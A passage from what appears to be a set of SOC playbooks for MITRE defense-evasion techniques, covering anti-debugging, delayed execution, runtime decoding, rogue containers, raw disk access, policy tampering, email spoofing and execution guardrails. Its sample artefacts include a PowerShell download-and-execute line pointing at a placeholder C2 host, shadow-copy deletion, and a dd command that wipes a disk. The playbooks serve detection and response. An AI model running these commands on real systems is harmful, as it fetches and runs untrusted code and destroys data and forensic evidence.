Unhandled exception caught internally

D) Process and Tool Enumeration

EnumeratedProcesses=ollydbg.exe,x64dbg.exe,procmon.exe
Action=ExitProcess

E) Self-Termination Under Analysis

DebuggerDetected=True
Action=TerminateProcess

F) Delayed Execution

Execution delayed 30 minutes
Payload activated after user interaction

Severity decision (SOC)

Low

- Anti-debug checks present, no malicious execution
- Research or protection software

Medium

- Debugger evasion combined with suspicious logic
- Payload suppressed under analysis

High / Critical

- Malware actively evading sandbox and EDR
- Different behaviour in live environment
- Used to protect high-impact payloads

Example severity: High

(Anti-debug + delayed payload + process injection)

Step-by-step SOC workflow

Step 1 Validate debugger evasion behaviour

Confirm:

1. Which anti-debug techniques are present?
2. Does behaviour change under analysis?
3. Are evasive checks preceding malicious actions?
4. Is this behaviour expected for the application?

Decision point

- Legitimate anti-tamper software → document and monitor
- Malicious evasion → continue investigation immediately

Step 2 Identify evasion vector and scope

Evasion method	Evidence	Attacker value
API checks	IsDebuggerPresent	Analysis avoidance
Timing checks	Sleep, RDTSC	Sandbox evasion
Exception tricks	INT3 abuse	Debugger crash
Tool detection	Process enumeration	Analyst detection
Delayed execution	Time/user gates	Signature evasion

Step 3 Map behaviour to attacker intent

3A) Analysis Resistance

Indicators

- Immediate exit in sandbox
- Suppressed payload

Attacker intent

- Prevent reverse engineering

3B) Detection Evasion

Indicators

- No malicious indicators during detonation

Attacker intent

- Avoid IOC generation

3C) Payload Protection

Indicators

- Evasion precedes injection or C2

Attacker intent

- Protect high-value malware

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Memory tampering post-delay
2. Command and Control
 - Late-stage network activity
3. Persistence
 - Activation after reboot or idle
4. Impact
 - Ransomware or data theft after evasion

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host
2. Capture full memory image

3. Preserve binary and execution context

If evasion confirmed

1. Block execution across environment
2. Add behavioural detections (not signatures only)
3. Coordinate deeper reverse engineering
4. Monitor for delayed execution triggers

Eradication and recovery

- Remove evasive malware from all endpoints
- Reimage systems if integrity is uncertain
- Update EDR rules to detect anti-debug patterns
- Validate no delayed payloads remain
- Monitor for re-emergence after time thresholds

Detection engineering (SIEM ideas)

A) Anti-debug API usage

```
index=edr  
| where api_call IN ("IsDebuggerPresent","CheckRemoteDebuggerPresent")
```

B) Timing evasion detection

```
index=edr  
| where action="Sleep"  
| where duration > 300000
```

C) Sandbox vs live behaviour mismatch

```
index=edr  
| where behaviour_diff=true
```

Analyst checklist

- Debugger evasion confirmed
- Behavioural differences documented
- Payload execution identified
- Host isolated and cleaned
- Detection logic improved

Post-incident improvements

- Treat debugger evasion as Tier-0 analysis evasion
- Correlate sandbox and endpoint telemetry
- Detect long sleeps and timing abuse
- Flag binaries that behave differently under inspection
- Include anti-debug malware in SOC training exercises

Playbook 90 (MITRE Defense Evasion): Delay Execution

Technique: Delay Execution

Purpose

Detect, investigate and respond to attacker techniques that intentionally delay malicious execution, enabling attackers to:

- Evade sandbox and automated detonation environments
- Bypass time-limited EDR and SOC analysis windows
- Avoid correlation with initial infection vectors
- Blend execution into normal user or system activity
- Activate payloads only when conditions are “safe”

Delay Execution is a classic but extremely effective defense-evasion technique because most automated detection systems assume immediate or near-immediate malicious behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious behaviour activated only after time or condition delays, including:

- Executables that appear benign during initial analysis
- Long sleep, wait or idle periods before activity
- Malicious actions occurring minutes or hours after execution
- Behaviour triggered only after reboot, logon or user interaction
- Sandbox verdicts that differ from endpoint behaviour
- Malware activating outside typical SOC investigation windows

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious document in a sandbox. The file opens, sleeps for several minutes and exits cleanly. On a real endpoint, after 30 minutes of user activity, the same payload injects into explorer.exe and initiates C2.

Attacker objective: Outwait automated analysis and execute only in real user environments.

Defender objective: Correlate delayed execution behaviour and detect malicious actions beyond initial execution.

What it looks like (simulated SOC artefacts)

A) Long Sleep Invocation

Sleep(1800000)

B) Time-Based Conditional Execution

CurrentTime > 02:00 AND Uptime > 45min
ExecutePayload()

C) Delayed PowerShell Execution

powershell.exe -command "Start-Sleep -Seconds 1200 Invoke-WebRequest
http://c2/payload.ps1 | iex"

D) Delayed Task Trigger

Task created at 10:00
First execution at 11:30

E) Idle or User Interaction Trigger

WaitForUserInput()
MouseMoveDetected=True

F) Reboot-Dependent Execution

If SystemBootCount > 1
RunPayload()

Severity decision (SOC)

Low

- Delay used by legitimate installers or software
- No malicious follow-on behaviour

Medium

- Delay combined with suspicious code
- Malicious intent unclear

High / Critical

- Delay clearly used to evade detection
- Payload executes with injection, C2 or persistence

- Sandbox vs endpoint behaviour mismatch

Example severity: High

(Long sleep + delayed process injection + C2)

Step-by-step SOC workflow

Step 1 Validate delay behaviour

Confirm:

1. What type of delay is used (sleep, timer, condition)?
2. Is the delay unusually long or context-aware?
3. Does behaviour change after the delay expires?
4. Is this delay expected for the application?

Decision point

- Legitimate software behaviour → document and monitor
- Evasive delay → continue investigation immediately

Step 2 Identify delay technique and scope

Delay method	Evidence	Attacker value
Sleep timers	Long sleep calls	Sandbox evasion
Time checks	Clock, uptime logic	Analysis bypass
User interaction	Mouse/keyboard checks	Real-user detection
Reboot dependency	Boot count logic	Persistence evasion
Scheduled delay	Deferred execution	SOC timing evasion

Step 3 Map behaviour to attacker intent

3A) Sandbox Evasion

Indicators

- No malicious activity during detonation

Attacker intent

- Avoid automated detection

3B) Analyst Fatigue

Indicators

- Activity starts after investigation window

Attacker intent

- Execute when monitoring attention drops

3C) Environmental Validation

Indicators

- Execution only on real endpoints

Attacker intent

- Ensure payload reliability

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Activity after delay expiry
2. Command and Control
 - Late-stage network connections
3. Persistence
 - Activation after reboot or idle
4. Impact
 - Ransomware, data theft after delay

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host
2. Suspend suspicious long-running processes
3. Block known C2 destinations

If delay abuse confirmed

1. Terminate delayed execution processes
2. Remove delayed tasks or scripts
3. Preserve execution timeline for forensics
4. Monitor environment for similar delayed triggers

Eradication and recovery

- Remove malicious binaries and scripts
- Reimage system if execution context is unclear
- Update detection rules for long-sleep behaviour
- Validate no delayed payloads remain pending
- Monitor endpoints beyond initial execution windows

Detection engineering (SIEM ideas)

A) Long sleep detection

```
index=edr  
| where action="Sleep"  
| where duration > 600000
```

B) Delayed PowerShell execution

```
index=windows  
| where process="powershell.exe"  
| where command_line LIKE "%Start-Sleep%"
```

C) Behaviour after long idle

```
index=edr  
| where execution_delay > 30m
```

Analyst checklist

- Delay technique identified
- Execution timeline reconstructed

- Follow-on actions detected
- Host contained and cleaned
- Detection rules updated

Post-incident improvements

- Treat delayed execution as Tier-0 defense evasion
- Extend sandbox execution windows where possible
- Correlate behaviour across time, not just process start
- Monitor long-running but idle processes
- Include delayed-payload malware in SOC training

Playbook 91 (MITRE Defense Evasion): Deobfuscate / Decode Files or Information

Technique: Deobfuscate / Decode Files or Information

Purpose

Detect, investigate and respond to attacker actions that decode or deobfuscate previously hidden data at runtime, enabling attackers to:

- Evade static analysis and signature-based detection
- Hide payloads, scripts or configuration on disk
- Reveal malicious logic only at execution time
- Bypass content inspection and sandboxing
- Keep C2 addresses, credentials and commands concealed

This technique is execution-stage evasion: nothing looks malicious until the moment it is decoded.

When to trigger this playbook

Trigger this playbook when indicators suggest **runtime decoding or deobfuscation**, including:

- Encoded blobs decoded in memory just before execution
- Use of Base64, XOR, AES, RC4, gzip or custom encodings
- PowerShell, JavaScript, Python or .NET decoding routines
- Encrypted configuration files accessed by malware
- Network traffic decoded locally before use
- EDR alerts referencing “decode”, “decrypt” or “unpack” behaviour

Example use case scenario (end-to-end)

Context: SOC reviews a PowerShell command that appears benign and heavily encoded. Static analysis shows only Base64 strings. At runtime, the script decodes and decrypts a second-stage payload, injects it into memory and initiates C2.

Attacker objective: Hide malicious logic until the last possible moment to evade detection.

Defender objective: Detect decoding behaviour, capture decoded artefacts and stop execution before impact.

What it looks like (simulated SOC artefacts)

A) PowerShell Base64 Decode

```
powershell.exe -enc SQBFAFgA...  
[System.Text.Encoding]::Unicode.GetString(  
[System.Convert]::FromBase64String($data)  
)
```

B) XOR Deobfuscation

```
for i in range(len(data)):  
    decoded[i] = data[i] ^ 0x23
```

C) AES Decryption at Runtime

```
CryptoStream(AES, Key, IV)  
Decrypt(payload.bin)
```

D) Gzip / Zlib Unpacking

```
gzip.decompress(blob)
```

E) JavaScript Eval After Decode

```
eval(atob(encodedPayload))
```

F) Configuration Decoded In-Memory

```
C2=decode("0x3a2f7b...")
```

Severity decision (SOC)

Low

- Decoding used by legitimate applications
- No malicious follow-on behaviour

Medium

- Obfuscation plus suspicious logic
- Payload intent unclear

High / Critical

- Decoding immediately followed by injection, C2 or persistence
- Malware fully concealed until runtime

- Sandbox evasion confirmed

Example severity: High

(Base64 + AES decode → in-memory execution)

Step-by-step SOC workflow**Step 1 Validate deobfuscation behaviour**

Confirm:

1. What encoding or encryption is used?
2. Is decoding performed just before execution?
3. Does decoded content contain executable logic?
4. Is this behaviour expected for the application?

Decision point

- Legitimate unpacking → document and monitor
- Malicious decoding → continue investigation immediately

Step 2 Identify decoding method and scope

Method	Evidence	Attacker value
Base64	Encoded strings	Hide scripts
XOR/custom	Simple loops	Signature evasion
AES/RC4	Encrypted blobs	Configuration secrecy
Compression	gzip/zlib	Reduce visibility
Multi-layer	Decode → decrypt → exec	Maximum evasion

Step 3 Map behaviour to attacker intent**3A) Static Detection Evasion****Indicators**

- No readable payload on disk

Attacker intent

- Avoid signature scanning

3B) Sandbox Evasion

Indicators

- Decode occurs late or conditionally

Attacker intent

- Avoid automated analysis

3C) Payload Protection

Indicators

- Encrypted configs, keys, URLs

Attacker intent

- Protect infrastructure and tooling

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Process Injection
 - Decoded payload injected into memory
2. Command and Control
 - Decoded URLs, keys or protocols
3. Persistence
 - Decoded scripts written to disk
4. Impact
 - Ransomware or data theft post-decode

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate decoding process
2. Isolate affected host
3. Capture memory to preserve decoded content

If malicious decoding confirmed

1. Block hashes of decoder and decoded payload
2. Remove encoded artefacts from disk
3. Preserve decoded output for IOC creation
4. Monitor environment for similar decoding patterns

Eradication and recovery

- Remove malicious scripts and binaries
- Reimage host if decoded payload executed
- Update EDR rules for decode–execute chains
- Validate no encoded artefacts remain
- Monitor for reappearance of decoding routines

Detection engineering (SIEM ideas)

A) Decode → execute sequence

```
index=edr  
| transaction process_id maxspan=30s  
| where actions IN ("Base64Decode","Decrypt","Eval","Execute")
```

B) Encoded PowerShell usage

```
index=windows  
| where process="powershell.exe"  
| where command_line LIKE "%-enc%"
```

C) Runtime decryption APIs

```
index=edr  
| where api_call IN ("CryptDecrypt","AES_decrypt","RC4")
```

Analyst checklist

- Decoding behaviour confirmed
- Decoded artefacts captured
- Follow-on execution identified
- Host contained and cleaned
- Detection logic updated

Post-incident improvements

- Treat runtime decoding as Tier-0 defense evasion
- Detect decode–execute chains, not just encoded content

- Capture memory aggressively for suspicious scripts
- Flag multi-layer obfuscation automatically
- Include deobfuscation scenarios in SOC training

Playbook 92 (MITRE Defense Evasion): Deploy Container

Technique: Deploy Container

Purpose

Detect, investigate and respond to adversaries evading defenses by deploying malicious containers inside compromised environments, enabling attackers to:

- Hide malicious activity inside legitimate container workflows
- Bypass traditional endpoint controls focused on host processes
- Run attacker tooling in isolated, ephemeral environments
- Abuse trusted container runtimes (Docker, containerd, CRI-O)
- Blend malicious execution into DevOps, cloud or platform operations

Deploy Container is defense evasion through abstraction attackers shift execution into containers where visibility, logging and controls are often weaker or misconfigured.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious container deployment, including:

- Containers deployed outside normal CI/CD pipelines
- Unknown or unapproved images running in production
- Containers executing security, network or admin tooling
- Container workloads created shortly after initial compromise
- Limited or no corresponding application change records

Example use case scenario (end-to-end)

Context: SOC detects outbound C2 traffic from a Kubernetes node, but no host process matches the activity. Cluster telemetry reveals a new container running an image pulled from a public registry, executing a reverse shell.

Attacker objective: Evade host-based detection by moving malicious execution into a container.

Defender objective: Stop malicious container workloads and restore platform trust.

What it looks like (simulated SOC artefacts)

A) Suspicious Container Deployment

Runtime=Docker
Image=attacker/tools:latest
ContainerName=sys-update
User=root

B) Image Pulled from External Registry

Registry=docker.io
Repo=attacker/tools
PullTime=03:12

C) Privileged Container Execution

SecurityContext=privileged:true
Capabilities=SYS_ADMIN, NET_ADMIN

D) Host Resource Access

Mount=/var/run/docker.sock
MountType=HostPath

E) Network Activity from Container

Source=Container
Destination=198.51.100.44:443
Protocol=HTTPS

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Suspicious container deployed but no confirmed malicious behaviour

High

- Malicious tooling running inside container

Critical

- Privileged container, host mounts or cluster-wide access

- Container used for C2, lateral movement or persistence

Example severity: High

(Stealth execution via container abstraction)

Step-by-step SOC workflow

Step 1 Validate malicious container deployment

Confirm:

1. Was a new container or pod deployed?
2. Is the image unapproved, unknown or externally sourced?
3. Does the container perform non-application behaviour?
4. Is execution hidden from host-based controls?

Decision point

- Legitimate DevOps activity → validate pipeline and ownership
- Malicious container → escalate immediately

Step 2 Identify attacker container abuse pattern

Abuse Pattern	Indicator	Attacker value
Rogue container	Unknown image	Stealth
Privileged container	--privileged	Host control
HostPath mounts	Docker socket	Escalation
Ephemeral workloads	Short-lived pods	Forensic evasion
Tooling containers	Scanners, shells	Flexibility

Step 3 Map behaviour to attacker intent

3A) Execution Obfuscation

Indicators

- No malicious host processes

Attacker intent

- Evade EDR and AV

3B) Platform Trust Abuse

Indicators

- Use of trusted runtimes

Attacker intent

- Blend into normal operations

3C) Infrastructure Expansion

Indicators

- Privileged containers or cluster access

Attacker intent

- Broaden control surface

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from containers
2. Privilege Escalation
 - Docker socket abuse, host escape
3. Lateral Movement
 - Node-to-node or namespace movement
4. Persistence
 - Restart policies, cron jobs in containers

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Stop and remove malicious containers
2. Block image pulls from malicious registries
3. Isolate affected nodes if privileged containers ran

If container abuse confirmed

1. Preserve container images, manifests and runtime logs
2. Identify how container deployment permissions were obtained
3. Notify SOC leadership, Cloud and Platform teams
4. Assume **platform-level compromise risk**

Eradication and recovery

- Delete malicious images from registries and nodes
- Rotate cluster, node and service account credentials
- Patch container runtime and orchestrator if abused
- Enforce image allowlists and admission controls
- Rebuild nodes if host access occurred

Detection engineering (SIEM ideas)

A) New container or pod creation

index=cloud OR index=container
| where action IN ("create_container","create_pod","run_container")

B) Privileged container detection

index=container
| where privileged=true OR capabilities IN ("SYS_ADMIN","NET_ADMIN")

C) External image registry usage

index=container
| where image_registry NOT IN ("approved_registry_1","approved_registry_2")

Analyst checklist

- Malicious container deployment confirmed
- Image source identified
- Containers removed and nodes assessed
- Follow-on activity investigated
- Incident severity adjusted

Post-incident improvements

- Treat container deployment as an execution vector
- Enforce strict image allowlists and admission policies
- Monitor runtime behaviour, not just image origin
- Disable privileged containers by default

- Correlate container deploy → runtime behaviour → network activity

Playbook 93 (MITRE Defense Evasion): Direct Volume Access

Technique: Direct Volume Access

Purpose

Detect, investigate and respond to attacker access to raw disk volumes or block devices, enabling attackers to:

- Bypass file-system-level security controls
- Read or modify data without triggering file access logs
- Tamper with system files, security logs or forensic artefacts
- Access credentials, databases or sensitive data offline
- Evade EDR and antivirus that monitor file APIs only
- Prepare for destructive impact (e.g. disk wiping, ransomware)

Direct volume access is low-level evasion: the attacker interacts below the file system, where many controls are blind.

When to trigger this playbook

Trigger this playbook when indicators suggest raw disk or volume manipulation, including:

- Access to `/dev/sd*`, `/dev/nvme*`, `/dev/mapper/*` or `\\.\PhysicalDrive*`
- Use of disk utilities outside maintenance windows
- Volume snapshots or mounts created unexpectedly
- Processes reading NTFS, EXT or APFS structures directly
- Security logs missing or corrupted without normal deletion events
- EDR alerts referencing raw disk, sector or block-level access

Example use case scenario (end-to-end)

Context: SOC detects missing Windows event logs and corrupted registry hives. No file deletion events are logged. EDR telemetry reveals a process accessing `\\.\PhysicalDrive0` directly and modifying disk sectors.

Attacker objective: Bypass OS-level auditing to hide activity and destroy forensic evidence.

Defender objective: Identify raw disk access, contain the host and preserve remaining evidence.

What it looks like (simulated SOC artefacts)

A) Windows Raw Disk Access

process=malware.exe
target=\\.\PhysicalDrive0
access=ReadWrite

B) Linux Block Device Access

process=dd
command=dd if=/dev/sda of=/tmp/dump.img
user=root

C) Volume Shadow Copy Manipulation

vssadmin delete shadows /all /quiet

D) Direct NTFS Parsing

process=custom_tool
action=Read_MFT
volume=C:

E) Disk Sector Overwrite

dd if=/dev/zero of=/dev/nvme0n1 bs=512 count=2048

F) Offline Registry or Database Access

MountedVolume=/mnt/disk
File=SYSTEM.hive

Severity decision (SOC)

Low

- Approved maintenance or backup activity
- Matches change window and tooling

Medium

- Undocumented raw disk access
- No confirmed malicious modification

High / Critical

- Raw disk access used to hide activity or destroy data
- Log tampering or credential access confirmed
- Ransomware or destructive impact possible

Example severity: Critical

(Direct disk access + log destruction + privilege abuse)

Step-by-step SOC workflow

Step 1 Validate volume access legitimacy

Confirm:

1. Which volume or device was accessed?
2. Which process and account performed the access?
3. Is this access expected and approved?
4. Were security or system files targeted?

Decision point

- Legitimate admin or backup activity → document and monitor
- Unauthorised or suspicious access → continue investigation immediately

Step 2 Identify access method and scope

Method	Evidence	Attacker value
Physical drive access	\\.\PhysicalDrive*	Bypass OS controls
Block device read/write	/dev/sd*, /dev/nvme*	Stealth data access
Volume shadow abuse	VSS deletion	Anti-forensics
Offline parsing	Mounted volumes	Credential theft
Sector overwrite	dd, raw writes	Destructive impact

Step 3 Map behaviour to attacker intent

3A) Defense Evasion / Anti-Forensics

Indicators

- Logs missing without delete events
- Direct disk writes

Attacker intent

- Erase evidence of compromise

3B) Credential and Data Access

Indicators

- Offline registry, database or filesystem parsing

Attacker intent

- Steal secrets without detection

3C) Impact Preparation

Indicators

- Sector overwrites or mass reads

Attacker intent

- Enable ransomware or data destruction

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Offline SAM, SYSTEM, NTDS, keychains
2. Impact
 - Disk wiping, ransomware encryption
3. Persistence
 - Boot sector or firmware tampering
4. Defense Evasion
 - Additional log or artefact destruction

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host immediately
2. Stop processes performing raw disk access
3. Prevent further write operations to volumes

If abuse confirmed

1. Capture disk images for forensic preservation
2. Preserve remaining logs and memory
3. Revoke credentials used for access
4. Notify IR and legal teams if data integrity is impacted

Eradication and recovery

- Rebuild system from trusted images
- Restore data from clean backups
- Validate integrity of system files and logs
- Reset credentials potentially accessed offline
- Monitor for reappearance of raw disk access

Detection engineering (SIEM ideas)

A) Raw disk access on Windows

index=edr
| where target LIKE "\\.\PhysicalDrive%"

B) Block device access on Linux

index=linux
| where file_path LIKE "/dev/%"
| where process NOT IN ("mount","backup-agent")

C) VSS deletion detection

index=windows
| where process="vssadmin.exe"
| where command_line LIKE "%delete shadows%"

Analyst checklist

- Raw volume access confirmed
- Scope of data/log impact assessed
- Host isolated and preserved
- Recovery plan executed
- Monitoring strengthened

Post-incident improvements

- Treat direct volume access as Tier-0 defense evasion
- Alert on non-backup raw disk access
- Harden EDR visibility into block-level operations
- Restrict disk utilities to approved roles
- Include raw-disk abuse scenarios in SOC simulations

Playbook 94 (MITRE Defense Evasion): Domain or Tenant Policy Modification

Technique: Domain or Tenant Policy Modification

Sub-techniques:

- Group Policy Modification
- Trust Modification

Purpose

Detect, investigate and respond to adversaries evading security controls by modifying domain-wide or tenant-wide policies, enabling attackers to:

- Disable or weaken security tooling at scale
- Suppress logging, monitoring or alerting centrally
- Bypass identity, endpoint or network protections without touching endpoints
- Blend malicious changes into “legitimate admin activity”
- Maintain stealthy, long-term access across the enterprise

Domain or Tenant Policy Modification in Defense Evasion is control-plane evasion attackers don't hide malware they turn off the alarms and guards.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious policy or trust changes that reduce visibility or enforcement, including:

- GPOs disabling AV, EDR, logging or hardening controls
- Tenant policies weakening MFA, Conditional Access or audit logging
- Trust relationships modified to bypass security boundaries
- Security controls disabled across many systems simultaneously
- Defense degradation without corresponding incident or change approval

Example use case scenario (end-to-end)

Context: SOC notices endpoint telemetry volume drops sharply across hundreds of workstations. No outages are reported. AD logs reveal a GPO modification disabling Windows Defender and event logging.

Attacker objective: Evade detection enterprise-wide before executing ransomware.

Defender objective: Restore defensive controls and regain visibility.

What it looks like (simulated SOC artefacts)

A) Group Policy Modification – Security Disabled

GPO=Endpoint-Hardening
Setting=Windows Defender
State=Disabled
ModifiedBy=svc-admin

B) Logging Suppression

Policy=Audit Policy
Setting=Logon Events
State=Disabled
Scope=Domain-wide

C) Cloud Tenant Policy Weakening

Tenant=AzureAD
Policy=Conditional Access
MFA=Excluded All Users

D) Trust Modification for Evasion

Trust=corp.local ↔ legacy.local
Direction=Two-Way
SelectiveAuth=Disabled

E) Visibility Loss Indicator

EndpointTelemetryDrop=78%
TimeWindow=10 minutes

F) Follow-on Activity

NextAction=Execution

Severity decision (SOC)

High

- Security policy weakened in limited scope

Critical

- Domain-wide or tenant-wide defensive controls disabled

- Logging, AV or MFA disabled at scale

Example severity: Critical

(Enterprise defense suppression)

Step-by-step SOC workflow

Step 1 Validate defense-evasion policy modification

Confirm:

1. Were security-relevant policies modified?
2. Did changes reduce detection, logging or prevention?
3. Was the change unauthorised or suspicious?
4. Did visibility or enforcement drop immediately after?

Decision point

- Approved security change → validate scope and rollback plan
- Malicious policy change → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Evasion impact
Group Policy modification	AV/logging disabled	Endpoint blind spots
Trust modification	Expanded trust paths	Boundary bypass
IAM policy weakening	MFA exclusions	Identity evasion
Audit suppression	Logging disabled	Forensic gaps

Step 3 Map behaviour to attacker intent

3A) Detection Suppression

Indicators

- Logging or EDR disabled centrally

Attacker intent

- Operate invisibly

3B) Security Boundary Bypass

Indicators

- Trust or federation changes

Attacker intent

- Move freely across environments

3C) Pre-Attack Preparation

Indicators

- Defense changes before execution

Attacker intent

- Prepare for high-impact actions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Malware, scripts, ransomware deployment
2. Privilege Escalation
 - Group membership or role abuse
3. Lateral Movement
 - SMB, RDP, cloud API usage
4. Impact
 - Data encryption, exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Revert unauthorised policy and trust changes
2. Re-enable logging, AV and MFA
3. Freeze further policy modifications

If defense-evasion policy abuse confirmed

1. Preserve AD, IAM and tenant audit logs

2. Identify compromised admin or service accounts
3. Notify SOC leadership, IAM, IT Ops and Executives
4. Assume enterprise-level compromise risk

Eradication and recovery

- Restore policies from known-good baselines
- Rotate credentials for all policy-modifying accounts
- Revalidate security posture across endpoints and cloud
- Enable tamper protection and policy change alerts
- Conduct retroactive threat hunting during blind window

Detection engineering (SIEM ideas)

A) Security-related GPO changes

```
index=ad  
| where gpo_setting IN ("Defender","Audit","Firewall")
```

B) Cloud IAM policy weakening

```
index=cloud  
| where action IN ("modify_conditional_access","disable_logging")
```

C) Sudden telemetry drop correlation

```
index=edr  
| stats count by _time  
| where count < baseline
```

Analyst checklist

- Defense-evasion policy change confirmed
- Policies restored and locked down
- Credentials rotated
- Visibility gap assessed
- Incident escalated appropriately

Post-incident improvements

- Treat policy modification as a defense-evasion signal, not admin noise
- Enable real-time alerts on security-impacting policy changes
- Enforce just-in-time and approval-based policy modification
- Protect Tier-0 assets and policy objects

- Correlate policy change → visibility drop → attacker activity

Playbook 95 (MITRE Defense Evasion): Email Spoofing

Technique: Email Spoofing

Purpose

Detect, investigate and respond to adversaries evading defenses by spoofing email identities, headers or domains, enabling attackers to:

- Bypass email authentication controls (SPF, DKIM, DMARC)
- Masquerade as trusted internal or external senders
- Evade user suspicion and security awareness controls
- Deliver phishing, malware or social engineering payloads
- Blend malicious emails into normal business communication

Email Spoofing is defense evasion through identity deception attackers don't bypass email security systems directly they convince them (and users) that malicious emails are legitimate.

When to trigger this playbook

Trigger this playbook when indicators suggest forged or deceptive email origin, including:

- Emails claiming to be from trusted domains but failing or bypassing authentication
- Mismatch between From, Return-Path and Sender headers
- Emails impersonating executives, IT, vendors or partners
- Successful phishing emails despite email gateway protections
- User-reported emails that appear "legitimate" but trigger suspicion

Example use case scenario (end-to-end)

Context: Several employees receive an email appearing to be from the CFO requesting an urgent wire transfer. The email bypasses spam filtering and looks authentic. Header analysis reveals the message originated from an external IP and abused a misconfigured DMARC policy.

Attacker objective: Evade email defenses and impersonate a trusted authority to execute fraud.

Defender objective: Identify spoofing techniques, block future attempts and protect users.

What it looks like (simulated SOC artefacts)

A) Spoofed Sender Identity

From: CFO@company.com
Sender: alerts@external-domain.com
Reply-To: finance@external-domain.com

B) Authentication Weakness

SPF=Neutral
DKIM=None
DMARC=Policy=none

C) Header Mismatch

Return-Path: bounce@external-domain.com
From: HR@company.com

D) Visual Deception

DisplayName=IT Support <it-support@company.com>
ActualDomain=company-support.co

E) Delivery Outcome

EmailGateway=Delivered
SpamScore=Low

F) Follow-on Activity

NextAction=Phishing

Severity decision (SOC)

Medium

- Spoofing attempt detected but blocked or reported early

High

- Spoofed email delivered to users

Critical

- Successful business email compromise (BEC), fraud or credential theft

Example severity: High

(Defense evasion enabling phishing)

Step-by-step SOC workflow

Step 1 Validate email spoofing

Confirm:

1. Is the sender impersonating a trusted identity?
2. Do email headers show authentication weaknesses or mismatches?
3. Did the message bypass email security controls?
4. Was user trust explicitly exploited?

Decision point

- Legitimate email with misconfiguration → remediate configuration
- Malicious spoofing → escalate immediately

Step 2 Identify spoofing technique

Technique	Indicator	Attacker value
Domain spoofing	DMARC/SPF gaps	Trust abuse
Display name spoofing	Lookalike names	User deception
Reply-to spoofing	Redirected responses	Data capture
Lookalike domains	Typosquatting	Persistence
Header manipulation	Inconsistent headers	Gateway evasion

Step 3 Map behaviour to attacker intent

3A) User Trust Exploitation

Indicators

- Authority impersonation (CEO, IT, Finance)

Attacker intent

- Induce compliance

3B) Gateway Evasion

Indicators

- Email passes authentication checks due to weak policies

Attacker intent

- Avoid technical blocking

3C) Precursor to Impact

Indicators

- Spoofing followed by BEC, malware or credential harvest

Attacker intent

- Financial theft or access gain

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing
 - Credential harvesting links or attachments
2. Credential Access
 - Account compromise following email interaction
3. Impact
 - Fraud, wire transfer, data exfiltration
4. Lateral Movement
 - Internal spoofing using compromised accounts

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Quarantine or retract spoofed emails
2. Block sending domains and IPs
3. Warn targeted users and reset exposed credentials

If spoofing confirmed

1. Preserve full email headers and message bodies

2. Identify authentication gaps exploited
3. Notify SOC leadership, Email Admins and Management
4. Assume phishing or fraud campaign risk

Eradication and recovery

- Enforce strict DMARC (p=reject)
- Correct SPF and DKIM configurations
- Implement external sender tagging
- Harden email gateway impersonation detection
- Conduct user awareness follow-up

Detection engineering (SIEM ideas)

A) Header mismatch detection

```
index=email  
| where from_domain != return_path_domain
```

B) DMARC policy weakness monitoring

```
index=email  
| where dmarc_policy IN ("none","quarantine")
```

C) Executive impersonation detection

```
index=email  
| where display_name IN ("CEO","CFO","IT Support")  
| where sender_domain NOT LIKE "%company.com"
```

Analyst checklist

- Email spoofing confirmed
- Headers analysed and gaps identified
- Emails removed and users warned
- Configurations hardened
- Incident severity reassessed

Post-incident improvements

- Treat email identity as a critical security boundary
- Enforce DMARC reject across all domains
- Monitor lookalike domain registrations
- Correlate spoofed email → user action → account or financial impact

- Regularly test email security controls

Playbook 96 (MITRE Defense Evasion): Execution Guardrails

Technique: Execution Guardrails

Sub-techniques:

- Environmental Keying
- Mutual Exclusion

Purpose

Detect, investigate and respond to adversaries evading defenses by restricting when, where and how their malware executes, enabling attackers to:

- Prevent execution in sandboxes, labs or analyst environments
- Avoid detonating in unintended targets
- Reduce exposure to automated analysis
- Ensure payloads run only under attacker-defined conditions
- Minimise forensic artefacts and detection opportunities

Execution Guardrails are defense evasion through conditional execution malware is present but refuses to run unless the environment “looks right.”

When to trigger this playbook

Trigger this playbook when indicators suggest malware present but selectively inactive, including:

- Malware samples that execute on some systems but not others
- Suspicious binaries exiting immediately without errors
- Conditional logic checking hostnames, users, domains or hardware
- Single-instance enforcement preventing re-execution
- Malware behaving differently in sandbox vs production environments

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious executable in a sandbox. The file exits silently with no observable behaviour. Later, the same file executes fully on a finance server, establishing C2. Reverse engineering shows the malware checks for domain membership and hostname before executing.

Attacker objective: Evade sandbox and analyst detection while executing only on high-value targets.

Defender objective: Identify execution conditions and widen detection coverage.

What it looks like (simulated SOC artefacts)

A) Environmental Keying – Domain Check

Condition=Domain == CORP-FINANCE

Result=Execute

B) Environmental Keying – Sandbox Detection

Check=VMwareTools

Found=True

Action=Exit

C) Environmental Keying – User / Hostname

RequiredUser=finance-admin

ActualUser=analyst

Result=Abort

D) Mutual Exclusion – Mutex Creation

MutexName=Global\WinUpdateMutex

Status=Exists

Action=Exit

E) Single-Instance Enforcement

LockFile=C:\ProgramData\.lock

IfExists=Terminate

F) Divergent Execution

Sandbox=No Behaviour

Production=Beaconing Detected

